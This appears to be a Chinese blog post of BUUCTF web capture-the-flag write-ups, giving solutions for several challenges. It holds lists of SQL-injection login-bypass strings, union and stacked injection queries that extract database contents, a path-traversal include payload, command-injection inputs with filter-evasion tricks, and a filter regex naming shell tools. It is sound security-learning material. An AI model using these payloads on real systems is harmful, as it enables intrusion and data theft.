BUUCTF-WEB

本文主要总结了多个CTF比赛中的Web挑战,包括SQL注入、文件上传、HTTP头利用、源码泄露等多个方面,涉及多种解题技巧和绕过方法,如万能密码、堆叠注入、文件包含、反序列化等。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

持续更新中~~~~

目录

[HCTF 2018]WarmUp

[极客大挑战 2019]EasySQL

总结万能密码

[极客大挑战 2019]Havefun

[强网杯 2019]随便注

[ACTF2020 新生赛]Include

[SUCTF 2019]EasySQL

[极客大挑战 2019]Secret File

[ACTF2020 新生赛]Exec

[极客大挑战 2019]LoveSQL

[GXYCTF2019]Ping Ping Ping

[极客大挑战 2019]Knife

[极客大挑战 2019]Http

[极客大挑战 2019]Upload

[RoarCTF 2019]Easy Calc

[ACTF2020 新生赛]Upload

[极客大挑战 2019]PHP

[极客大挑战 2019]BabySQL

[ACTF2020 新生赛]BackupFile

[极客大挑战 2019]BuyFlag

[HCTF 2018]admin

[BJDCTF2020]Easy MD5

[ZJCTF 2019]NiZhuanSiWei

[SUCTF 2019]CheckIn

[极客大挑战 2019]HardSQL

[MRCTF2020]你传你🐎呢

[MRCTF2020]Ez_bypass

[网鼎杯 2020 青龙组]AreUSerialz

[CISCN2019 华北赛区 Day2 Web1]Hack World

[GYCTF2020]Blacklist

[网鼎杯 2018]Fakebook

[GXYCTF2019]BabyUpload

[BUUCTF 2018]Online Tool

[BJDCTF2020]The mystery of ip

[GXYCTF2019]禁止套娃

 


[HCTF 2018]WarmUp

打开网页,查看一下源代码,可以找到一个source.php

 <?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }
​
            if (in_array($page, $whitelist)) {
                return true;
            }
​
            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
​
            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }
​
    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?> 

然后有一个hint.php

payload:

url/?file=source.php?../../../../ffffllllaaaagggg

[极客大挑战 2019]EasySQL

打开是一个登录界面,我们直接尝试万能密码

直接得到flag

总结万能密码

asp aspx万能密码

1:"or "a"="a
2:'.).or.('.a.'='.a 
3:or 1=1--
4:'or 1=1--
5:a'or' 1=1--
6:"or 1=1--
7:'or.'a.'='a
8:"or"="a'='a
9:'or''='
10:'or'='or'
admin'or 1=1#

PHP万能密码

admin'/*
密码*/'
​
'or 1=1/*
"or "a"="a
"or 1=1--
"or"="
"or"="a'='a
"or1=1--
"or=or"
''or'='or'
') or ('a'='a
'.).or.('.a.'='.a
'or 1=1
'or 1=1--
'or 1=1/*
'or"="a'='a
'or' '1'='1'
'or''='
'or''=''or''='
'or'='1'
'or'='or'
'or.'a.'='a
'or1=1--
1'or'1'='1
a'or' 1=1--
a'or'1=1--
or 'a'='a'
or 1=1--
or1=1--

jsp万能密码

1'or'1'='1
​
admin' or 1=1/*

[极客大挑战 2019]Havefun

打开网页,就是一个小猫,然后我们F12查看一下源代码,找到了一行注释

$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';}

在这里有一个迷惑,Syc{cat_cat_cat_cat}虽然很像flag,但是不是flag

然后我们可以直接get传参cat=dog

[强网杯 2019]随便注

上来就是sql注入,然后我们直接

1‘ select union 2#

然后我们知道了select被禁用了

然后我们采用堆叠注入show tables

';show tables;#

再查字段

‘;show columns from words;#
‘;show columns from 1919810931114514;#

最后发现查最后的flag这个方法行不通呐,看了别人的wp也没有学明白

最后找到了非预期解,直接得flag

1' or 1=1#

[ACTF2020 新生赛]Include

打开是一个tips,然后点击转到了?file=flag.php页面

但是并没有什么东西,然后我们想到了题目include,直接伪协议读flag.php得到了源码

解码得flag

[SUCTF 2019]EasySQL

试了好多

输入1,有回显
输入2,也有回显
但是1’,没有回显了
尝试用order by语句查询多少个字段

然后我直接看了别人的wp,受益匪浅

内置的sql语句为:

sql=“select”.post[‘query’]."||flag from Flag";

如果$post['query']的数据为*,1,sql语句就变成了

select *,1||flag from Flag

也就是

select *,1 from Flag

查到Flag表中的内容

[极客大挑战 2019]Secret File

打开网页只发现了页面为黑色,字体为红色

很容易就找到了线索,来到./Archive_room.php页面

点击这个secret按钮,首先到了action页面,但是特别快的准到end页面,没有看清里面的内容

然后我们抓包看一下

又找到了secr3t.php

然后我们直接用伪协议读flag.php,得到base64编码,然后解码

[ACTF2020 新生赛]Exec

这个题直接127.0.01来查询就行了

127.0.0.1;ls /
127.0.0.1;cat /flag

[极客大挑战 2019]LoveSQL

进来就是一个登录页面,然后我们直接尝试万能密码登录

发现并不对,但是我们找到了注入点

测试注入点

/check.php?username=1' union select 1,2,3%23&password=1

查询数据库及版本

/check.php?username=1' union select 1,database(),version()%23&password=1

爆表

/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1

爆字段

/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1

爆数据

/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1

[GXYCTF2019]Ping Ping Ping

一进来就是让我们输ip,很明显传参

然后我尝试了以下

?ip=127.0.0.1//可行
?ip=127.0.0.1;ls//查到了flag
?ip=127.0.0.1;cat flag//被禁掉了空格
?ip=127.0.0.1;cat$IFS$flag//flag被禁了

我们直接?ip=1|cat$IFS$1index.php,查看以下index.php

/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("fxck your space!");
  } else if(preg_match("/bash/", $ip)){
    die("fxck your bash!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("fxck your flag!");
  }
  $a = shell_exec("ping -c 4 ".$ip);
  echo "
​
";
  print_r($a);
}
​
?>

看到了好多被禁用的

关于flag的绕过

?ip
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值